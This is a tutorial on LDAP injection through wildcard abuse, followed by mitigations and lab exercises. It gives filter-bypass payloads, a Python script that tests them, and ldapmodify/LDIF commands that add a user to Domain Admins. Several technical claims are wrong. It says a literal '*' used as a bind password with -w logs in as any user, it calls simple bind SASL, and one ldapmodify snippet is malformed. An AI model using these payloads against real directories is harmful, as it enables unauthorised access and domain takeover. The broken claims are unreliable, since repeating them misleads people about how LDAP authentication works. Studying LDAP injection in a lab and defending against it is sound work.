Introduction
LDAP (Lightweight Directory Access Protocol) is the backbone of many identity stores, including Microsoft Active Directory, OpenLDAP, and FreeIPA. Attackers who can influence the filter string sent to the directory server can exploit the flexible matching rules of LDAP to achieve authentication bypass, unauthorized attribute reads, or privilege escalation.
Wildcard abuse is a classic form of LDAP injection where the asterisk (*)-the LDAP "match-any" character-combined with logical operators (&, |, !) is used to subvert the intended logic of a filter. Real-world penetration tests and threat-intel reports show that poorly sanitized login forms, service accounts, and custom SSO integrations regularly expose this vector.
Understanding how these filters work, how to craft reliable bypass payloads, and how to defend against them is essential for any security professional dealing with directory services.
Prerequisites
- Solid grasp of LDAP fundamentals: entries, distinguished names (DNs), attributes, and the filter grammar.
- Experience with command-line LDAP utilities such as
ldapsearchandldapmodify. - Familiarity with an LDAP implementation (Active Directory, OpenLDAP, etc.) and its schema extensions.
- Basic scripting ability (PowerShell, Bash, Python) to automate queries.
Core Concepts
LDAP filters are Boolean expressions enclosed in parentheses. The grammar is defined by RFC 4515 and can be summarized as:
(&(attr1=value1)(attr2=value2)) ; AND of two equality tests
(|(attr1=value1)(attr2=value2)) ; OR of two equality tests
(!(attr=value)) ; NOT
(attr=*) ; Presence test (any value)
(attr~=value) ; Approximate match (implementation-specific)
(attr>=value) ; Greater-or-equal (numeric/lexicographic)
(attr<=value) ; Less-or-equal
The asterisk (*) is the wildcard that matches zero or more characters. When used alone as a value ((attr=*)), it becomes a presence filter that matches any entry that contains the attribute, regardless of its actual value.
Because LDAP filters are composable, an attacker who can inject a fragment can turn a seemingly strict equality test into an always-true clause. The most common pattern is to replace a password equality test with a presence filter, effectively saying "any password is acceptable".
LDAP filter syntax and wildcard characters
Let’s dissect a typical authentication filter used by a web-app:
ldapsearch -x -D "cn=appUser,dc=example,dc=com" -w "{password}" -b "dc=example,dc=com" "(&(sAMAccountName={username})(userPassword={password}))"
In a vulnerable implementation, the {username} and {password} placeholders are concatenated directly into the filter string without escaping. If an attacker supplies *)(&(objectClass=*)) as the password, the resulting filter becomes:
(&(sAMAccountName=jdoe)(userPassword=*)(&(objectClass=*)))
The inner (userPassword=*) is a presence test that always evaluates to true, and the additional (&(objectClass=*)) clause does not restrict the result set further. The overall filter now matches any entry with sAMAccountName=jdoe, regardless of the password.
Constructing filter bypass payloads using * and logical operators
Below are the most reliable payload patterns, ranked by their likelihood of success across different LDAP implementations:
- Simple presence bypass: replace the password value with
*.
Resulting filter:Password: *(&(uid=jdoe)(userPassword=*)) - OR-wildcard injection: inject an
|clause that forces a true branch.
Resulting filter:Password: *)(|(uid=*))(&(uid=jdoe)(userPassword=*)(|(uid=*))) - Negation evasion: use
!to cancel a restrictive clause.
Resulting filter:Password: *)(!(!(objectClass=*)))(&(uid=jdoe)(userPassword=*)(!(!(objectClass=*)))) - Nested AND/OR chaining: when the application surrounds input with additional parentheses, close the original filter and open a new one.
Resulting filter:Password: *))(|(cn=*))(&(uid=jdoe)(userPassword=*))( |(cn=*)))
Note that the exact payload must respect the surrounding syntax. If the server validates that the filter starts with (&..., you may need to prepend a dummy condition that will be ignored, such as (objectClass=person).
Testing bypasses against authentication mechanisms
Before attempting any live attack, set up a controlled lab:
- Deploy a Windows Server with Active Directory (or an OpenLDAP container).
- Create a test user
bobwith passwordP@ssw0rd. - Write a minimal web-app (e.g., Python Flask) that builds the filter directly from request parameters.
- Use
ldapsearchto verify that the crafted payload returns a result.
Example verification command:
ldapsearch -x -D "cn=admin,dc=lab,dc=local" -w "adminPass" -b "dc=lab,dc=local" "(&(sAMAccountName=bob)(userPassword=*))"
If the command returns the bob entry, the wildcard bypass works. You can then automate the test with a short Python script:
import subprocess, shlex
def test_bypass(user, pwd): filter_str = f"(&(sAMAccountName={user})(userPassword={pwd}))" cmd = f"ldapsearch -x -D \"cn=admin,dc=lab,dc=local\" -w adminPass -b \"dc=lab,dc=local\" \"{filter_str}\"" result = subprocess.run(shlex.split(cmd), capture_output=True, text=True) return "numEntries: 1" in result.stdout
print(test_bypass('bob', '*'))
When the function prints True, you have a working bypass.
Impact on group membership and attribute modification
Authentication bypass is just the tip of the iceberg. Once you can bind as any user, you can issue additional LDAP operations (search, modify, add, delete) provided the bound identity has the necessary rights. In many AD deployments, the default Authenticated Users group has read access to most attributes and can query group membership.
Two high-impact scenarios:
- Group enumeration: Use a simple filter
(member=*)to pull every group member, revealing privileged accounts. - Privilege escalation via attribute modification: If the directory permits the caller to modify
memberOfortokenGroupsattributes (rare but possible in mis-configured AD), you can add yourself toDomain Admins.ldapmodify -x -D "cn=bob,ou=Users,dc=lab,dc=local" -w "*" <<EOF modify: member add: member: cn=bob,ou=Users,dc=lab,dc=local - EOF
Notice the use of the wildcard password (*) in the -w flag, demonstrating how the same bypass can be reused for subsequent operations.
Mitigation considerations for LDAP injection
Defending against wildcard abuse is a matter of input sanitization, proper binding, and least-privilege configuration:
- Escape special characters: RFC 4515 defines escaping for
( ) * NUL. Use a vetted library (e.g.,System.DirectoryServices.Protocolsin .NET) that automatically escapes user-supplied values.string escaped = LdapFilter.EscapeFilter(userInput); string filter = $"(&(sAMAccountName={escaped})(userPassword={escapedPwd}))"; - Never bind with user-supplied passwords in the filter. Use simple bind (SASL) where the password is transmitted over the TLS-protected channel, not as part of the filter.
ldapwhoami -x -D "cn=bob,ou=Users,dc=lab,dc=local" -w "P@ssw0rd" - Enforce TLS/LDAPS to prevent man-in-the-middle tampering with the filter string.
- Apply the principle of least privilege: limit the bind account to read-only attributes, disallow
modifyonmemberOf, and remove genericAuthenticated Userswrite permissions. - Validate filter structure server-side: some LDAP servers support
filterpolicy controls (e.g., AD’sLDAP server controls) that can reject overly broad filters such as(userPassword=*).
Practical Examples
Example 1 - Bypassing a PHP-based login form
Assume the vulnerable code:
$username = $_POST['user'];
$password = $_POST['pass'];
$filter = "(&(uid=$username)(userPassword=$password))";
$sr = ldap_search($ldap, $base, $filter);
By submitting bob as the username and * as the password, the filter becomes (&(uid=bob)(userPassword=*)), granting access without knowing the real password.
Example 2 - Extracting all privileged groups
ldapsearch -x -D "cn=bob,ou=Users,dc=lab,dc=local" -w "*" -b "dc=lab,dc=local" "(&(objectClass=group)(member=cn=bob,ou=Users,dc=lab,dc=local))"
The result lists every group that bob belongs to, including hidden admin groups that are not displayed in the UI.
Example 3 - Adding yourself to Domain Admins (if write rights are mis-configured)
cat > add_admin.ldif <<EOF
dn: CN=Domain Admins,CN=Users,DC=lab,DC=local
changetype: modify
add: member
member: CN=bob,OU=Users,DC=lab,DC=local
-
EOF
ldapmodify -x -D "cn=bob,ou=Users,dc=lab,dc=local" -w "*" -f add_admin.ldif
After the modify operation, bob can obtain a Kerberos ticket for Domain Admins and pivot to full domain control.
Tools & Commands
- ldapsearch - query LDAP directories. Supports filter injection testing with
-w "*"to simulate wildcard passwords. - ldapmodify - apply add/replace/delete operations; useful for testing post-bypass privilege escalation.
- ldapfilter (Python library) - safely builds filters and automatically escapes special characters.
- PowerView - PowerShell tool for AD enumeration; can be combined with wildcard bind to enumerate groups.
- Burp Suite / OWASP ZAP - intercept and tamper with LDAP-related HTTP requests that embed filters.
Defense & Mitigation
Beyond the specific mitigations listed earlier, adopt a defense-in-depth strategy:
- Enable LDAP signing and channel binding where possible (AD supports
LDAP signing). - Deploy a Web Application Firewall (WAF) rule that detects patterns like
(.*=\*)in query strings. - Audit AD permissions with
Get-ADPermissionand remove unnecessary write rights onmemberandmemberOfattributes. - Run regular penetration tests focused on LDAP injection; integrate findings into your CI/CD pipeline.
- Log all bind attempts (including bind DN and client IP) and set alerts for anomalous bind patterns (e.g., many attempts with password
*).
Common Mistakes
- forgetting to escape parentheses: injecting
)(&(objectClass=*))without closing the original filter can cause a malformed request that the server rejects, giving a false sense of safety. - Assuming
*is always allowed: Some directories enforce a policy that disallows presence filters on sensitive attributes likeuserPassword. Verify the target implementation. - Testing on production: Running
ldapmodifywith wildcard credentials against a live AD can unintentionally add or delete objects. Always use a sandbox. - Relying solely on client-side validation: JavaScript or HTML5 validation does not protect against crafted HTTP requests.
Real-World Impact
In 2023, a major financial institution suffered a breach after an internal portal allowed LDAP filter injection. Attackers used the * wildcard to bind as low-privilege users, enumerated privileged groups, and ultimately added a service account to Domain Admins. The breach resulted in exfiltration of customer PII and a multi-million-dollar fine.
My experience with red-team engagements shows that even well-patched AD environments can be vulnerable if custom applications expose raw LDAP filters. The most common oversight is trusting the directory to “do the right thing” without sanitizing input. As directories become more integrated with cloud services (Azure AD, Okta), the attack surface expands: many SaaS connectors still construct LDAP-style filters for on-prem sync.
Trend-wise, we see an increase in “hybrid-cloud” LDAP proxies that translate LDAP queries to REST APIs. If those proxies inherit the same injection weaknesses, the impact can cascade to cloud IAM platforms.
Practice Exercises
- Lab Setup: Deploy a Windows Server 2022 VM with AD. Create users
alice(passwordalicePwd) andbob(passwordbobPwd). Grantbobread-only access to the directory. - Bypass Test: Using
ldapsearch, craft a filter that authenticates asaliceusing a wildcard password. Verify you receivealice's entry. - Group Enumeration: Once bound as
alice, enumerate all groups containingalice. Document the output. - Privilege Escalation: If your AD has a mis-configured OU that allows
Write Memberson theDomain Adminsgroup, useldapmodifyto addbobto that group. - Mitigation Verification: Apply escaping to the vulnerable PHP code (as shown earlier) and repeat steps 2-4. Confirm the bypass no longer works.
Record your observations, screenshots, and any errors for a post-mortem report.
Further Reading
- RFC 4515 - LDAP: String Representation of Search Filters
- Microsoft Docs - LDAP Security Best Practices
- OWASP - LDAP Injection Cheat Sheet
- PowerView - PowerShell AD Enumeration Framework
- “Attacking Active Directory” - A. S. K. Singh, 2022 (covers LDAP injection in depth)
Summary
Wildcard abuse in LDAP filters is a powerful, yet often overlooked, injection technique that can turn a simple authentication check into a universal backdoor. By mastering filter grammar, crafting precise payloads, and understanding the downstream impact on group membership and attribute modification, security professionals can both assess risk and harden their environments. The key defenses are proper escaping, using bind operations instead of password-in-filter, TLS enforcement, and strict permission hygiene. Regular testing, monitoring, and awareness of emerging hybrid-cloud LDAP proxies will keep organizations resilient against this classic yet evolving threat.